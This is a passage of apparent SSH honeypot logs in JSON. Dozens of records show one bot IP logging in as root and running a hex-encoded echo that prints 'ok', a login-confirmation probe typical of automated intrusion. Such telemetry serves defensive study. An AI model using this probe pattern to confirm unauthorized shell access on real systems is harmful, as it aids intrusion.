  "started_at": "2026-08-23T08:23:21.860680+00:00",
  "ended_at": "2026-08-23T08:23:24.020409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4043c918-d098-41c3-8f53-468416cc4122",
  "name": "orderly-indigo-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:18.902121+00:00",
  "ended_at": "2026-08-23T08:23:21.107025+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5837a194-344c-402d-84af-72ac3d4b5abf",
  "name": "cosmic-wiry-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:16.311074+00:00",
  "ended_at": "2026-08-23T08:23:18.100013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "86689569-ddba-4303-b62f-50d548759051",
  "name": "windswept-scarlet-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:13.387137+00:00",
  "ended_at": "2026-08-23T08:23:15.516004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed6d07e6-1b98-44dd-84dc-3e162b13b088",
  "name": "honest-sullen-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:11.162088+00:00",
  "ended_at": "2026-08-23T08:23:12.722846+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "35520150-b3ca-48b8-aece-493bf8d166a2",
  "name": "nameless-buoyant-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:09.352361+00:00",
  "ended_at": "2026-08-23T08:23:10.469343+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02f284aa-5a83-4aa6-b809-0b5cf69e3795",
  "name": "jaunty-indigo-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:06.951072+00:00",
  "ended_at": "2026-08-23T08:23:08.608149+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "97468257-582d-4be2-948f-16ce70a4f299",
  "name": "solar-wooded-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48222,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:03.943415+00:00",
  "ended_at": "2026-08-23T08:23:06.210002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f24da6f-e875-403e-88c0-60df27dce07d",
  "name": "crisp-keen-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:23:01.028338+00:00",
  "ended_at": "2026-08-23T08:23:03.202048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0c6e0801-e599-4879-a84e-e6a4667d899d",
  "name": "reedy-weathered-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:59.259074+00:00",
  "ended_at": "2026-08-23T08:23:00.231997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6ec2c7a-0267-474e-89e9-92316c4cc58b",
  "name": "quiet-rambling-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:56.096080+00:00",
  "ended_at": "2026-08-23T08:22:58.349999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "447f948d-3bf8-4dae-8f1b-3830269f541e",
  "name": "cosmic-amiable-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:53.548132+00:00",
  "ended_at": "2026-08-23T08:22:55.439013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b2954bb6-9588-4abe-8bf9-c44265af83b7",
  "name": "regal-hazy-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:50.883102+00:00",
  "ended_at": "2026-08-23T08:22:52.773001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ccd27fd-a63b-4309-9a5e-3c58f0738ba1",
  "name": "grassy-western-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:48.930086+00:00",
  "ended_at": "2026-08-23T08:22:50.162058+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9e8f78d5-29a8-4495-a4da-54c7b68506bc",
  "name": "indigo-grumpy-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:47.228131+00:00",
  "ended_at": "2026-08-23T08:22:48.170997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "991c863b-bff1-4271-8afa-b71c3c24e2d2",
  "name": "zealous-solar-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:44.871795+00:00",
  "ended_at": "2026-08-23T08:22:46.417999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf191bd8-314a-47d2-864a-ca256d25911e",
  "name": "thorny-primal-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:42.733107+00:00",
  "ended_at": "2026-08-23T08:22:44.211490+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f6330bd-02b0-49f6-9f27-84287c733ab9",
  "name": "tawny-cosmic-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:40.828680+00:00",
  "ended_at": "2026-08-23T08:22:42.092744+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e9f5083-bab8-4c08-ab67-5fcb6a0f985c",
  "name": "fearless-painted-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:34.440656+00:00",
  "ended_at": "2026-08-23T08:22:40.090086+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6056e69b-8cf4-473f-896d-a45c4d059db1",
  "name": "marbled-wooded-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:32.618464+00:00",
  "ended_at": "2026-08-23T08:22:33.668007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a4e9fbe9-ead4-470f-b20d-98d97925a0d5",
  "name": "boreal-gleaming-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:30.483064+00:00",
  "ended_at": "2026-08-23T08:22:31.799614+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bc5227c7-ca5d-44c1-8c0b-74faf22162ec",
  "name": "russet-misty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:27.441046+00:00",
  "ended_at": "2026-08-23T08:22:29.672684+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dbce5a46-55c5-4539-935c-9f81379d44a9",
  "name": "vivid-somber-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:25.138072+00:00",
  "ended_at": "2026-08-23T08:22:26.822999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c49c8c6f-c23e-42d7-a723-c203d9e48175",
  "name": "craggy-eager-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:22.994449+00:00",
  "ended_at": "2026-08-23T08:22:24.383741+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8a399f18-5a38-4296-b438-ac5435de20f7",
  "name": "arctic-vaulted-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:20.751047+00:00",
  "ended_at": "2026-08-23T08:22:22.346004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15ecdd80-caad-468d-b931-0584a3af4574",
  "name": "misty-deft-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:18.729070+00:00",
  "ended_at": "2026-08-23T08:22:20.006011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22d5cbc1-ce27-422e-bcbf-269e9a3f6b62",
  "name": "pewter-polar-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:16.543151+00:00",
  "ended_at": "2026-08-23T08:22:18.119158+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "720d89a2-cdaa-4307-9a47-7316723b959e",
  "name": "tender-gentle-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:13.643107+00:00",
  "ended_at": "2026-08-23T08:22:15.780759+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d37477be-11e8-4726-9ccd-8d45d127096b",
  "name": "nameless-mellow-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:10.527157+00:00",
  "ended_at": "2026-08-23T08:22:12.781046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3181b6c-a4e5-4aa0-a43b-3f091064a9c2",
  "name": "quaint-courtly-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56240,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:07.797508+00:00",
  "ended_at": "2026-08-23T08:22:09.811000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "516db170-dd23-461e-87b6-40c48e488b6d",
  "name": "graceful-gentle-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:04.903762+00:00",
  "ended_at": "2026-08-23T08:22:07.149012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "11feeffd-fc92-4c72-8938-410d8e377341",
  "name": "lively-valiant-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56222,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:02.733085+00:00",
  "ended_at": "2026-08-23T08:22:04.257015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28aa06a6-5bc4-4c08-9b7b-6b48f380226e",
  "name": "sandy-vernal-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:22:00.430241+00:00",
  "ended_at": "2026-08-23T08:22:02.076001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e5de877-842f-43ca-86be-cff45661cb9d",
  "name": "glacial-salty-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:58.737363+00:00",
  "ended_at": "2026-08-23T08:21:59.678706+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6109a491-f9c3-4c21-a1ac-3c54c0f15de1",
  "name": "gleaming-wiry-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:55.840717+00:00",
  "ended_at": "2026-08-23T08:21:58.006555+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "675fcacd-d7ff-49fc-bb33-739196302bed",
  "name": "tawny-tidal-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:53.402710+00:00",
  "ended_at": "2026-08-23T08:21:55.209418+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d670f88b-5d23-4633-adb2-ae2aa4064c09",
  "name": "vernal-dutiful-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:50.957432+00:00",
  "ended_at": "2026-08-23T08:21:52.627672+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "01560a43-2ac3-48a6-92e7-bbe242f01917",
  "name": "forlorn-autumn-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:48.421108+00:00",
  "ended_at": "2026-08-23T08:21:50.268000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1741f4cf-e9df-4786-9056-0dfc4b647d35",
  "name": "hidden-watchful-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:46.551790+00:00",
  "ended_at": "2026-08-23T08:21:47.607511+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f0ce2a33-bc8e-4c8b-892e-803dee913cac",
  "name": "seaward-opal-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:44.363088+00:00",
  "ended_at": "2026-08-23T08:21:45.810665+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "65915bda-7bf6-4703-81f0-2d25d4218fa8",
  "name": "curious-subtle-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:42.688218+00:00",
  "ended_at": "2026-08-23T08:21:43.739603+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50b02b7c-e645-40ca-9a74-d2d56a15dc06",
  "name": "sterling-frank-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:40.873748+00:00",
  "ended_at": "2026-08-23T08:21:41.988004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "004886e5-18b5-4ae3-80f8-07c3e894e699",
  "name": "pewter-austere-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:38.633464+00:00",
  "ended_at": "2026-08-23T08:21:40.222007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28cf1f9f-bff3-444e-b567-b912a36f7304",
  "name": "chilly-humble-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:35.885078+00:00",
  "ended_at": "2026-08-23T08:21:37.976001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7c1fa0b-8db5-4c00-b2ce-f6f12383c7e0",
  "name": "murky-daring-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:34.108086+00:00",
  "ended_at": "2026-08-23T08:21:35.198039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94bdb5e9-1ad4-45ae-a573-f4c97f3478a4",
  "name": "thrifty-clever-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55202,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:31.601753+00:00",
  "ended_at": "2026-08-23T08:21:33.379494+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0982ac03-2aae-4582-9420-5cc7defddcf1",
  "name": "gloomy-golden-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55190,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:29.619071+00:00",
  "ended_at": "2026-08-23T08:21:30.835999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "890a55d0-dd5c-481f-bfb2-eeaf3afd4187",
  "name": "hushed-hazel-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:27.152406+00:00",
  "ended_at": "2026-08-23T08:21:28.969075+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98b913e1-4cb2-40da-b285-0912f576e7ae",
  "name": "thawing-mellow-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:25.232120+00:00",
  "ended_at": "2026-08-23T08:21:26.338998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a9ad0494-b047-46f5-9f1a-24af1cc4449b",
  "name": "dappled-nautical-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:21:22.415128+00:00",
